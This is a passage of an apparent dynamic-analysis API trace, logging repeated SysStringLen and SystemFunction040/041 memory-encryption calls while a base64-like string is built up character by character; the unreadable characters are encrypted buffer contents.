Memory=0x5c51c94) returned 0x0 [0190.693] SysStringLen (param_1="NDZlODRm") returned 0x8 [0190.693] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0190.694] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.694] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0190.694] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0190.694] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0190.694] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.695] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0190.695] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0190.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0190.695] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.695] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0190.695] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0190.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0190.695] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.695] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0190.695] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.695] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0190.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0190.696] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.696] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0190.696] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0190.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0190.696] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.696] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0190.696] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0190.696] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0190.696] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.696] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0190.697] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0190.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0190.697] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.697] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0190.697] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.697] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0190.697] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.698] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0190.698] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0190.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0190.698] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.698] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0190.698] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0190.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0190.698] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.698] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0190.698] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.698] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0190.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0190.699] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.699] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0190.699] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0190.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0190.699] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.699] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0190.699] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0190.699] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0190.699] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.699] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0190.699] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.700] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0190.700] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0190.700] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.700] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0190.700] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.700] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0190.700] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0190.700] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.700] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0190.700] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.700] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0190.701] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.701] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0190.701] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0190.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0190.701] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.701] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0190.701] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0190.701] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0190.702] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.702] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0190.702] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0190.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0190.702] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.702] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0190.702] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0190.702] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0190.702] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.703] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0190.703] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.703] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0190.703] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0190.703] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.703] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0190.703] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0190.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0190.704] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.704] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0190.704] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0190.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0190.704] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.704] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0190.704] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.704] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0190.705] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.705] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0190.705] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0190.705] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0190.705] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.706] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0190.706] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0190.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0190.706] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.706] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0190.706] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0190.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0190.706] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.706] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0190.706] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0190.706] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0190.707] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.707] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0190.707] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0190.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0190.707] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.707] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0190.707] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0190.707] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0190.707] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.707] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0190.707] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0190.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0190.708] SystemFunction041 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.708] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0190.708] SystemFunction040 (in: Memory=0x3c095c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c095c) returned 0x0 [0190.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0190.708] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0190.708] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0190.708] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0190.709] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0190.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0190.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0190.709] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0190.709] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0190.709] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0190.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0190.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0190.709] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0190.709] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0190.709] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0190.709] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0190.709] SysStringLen 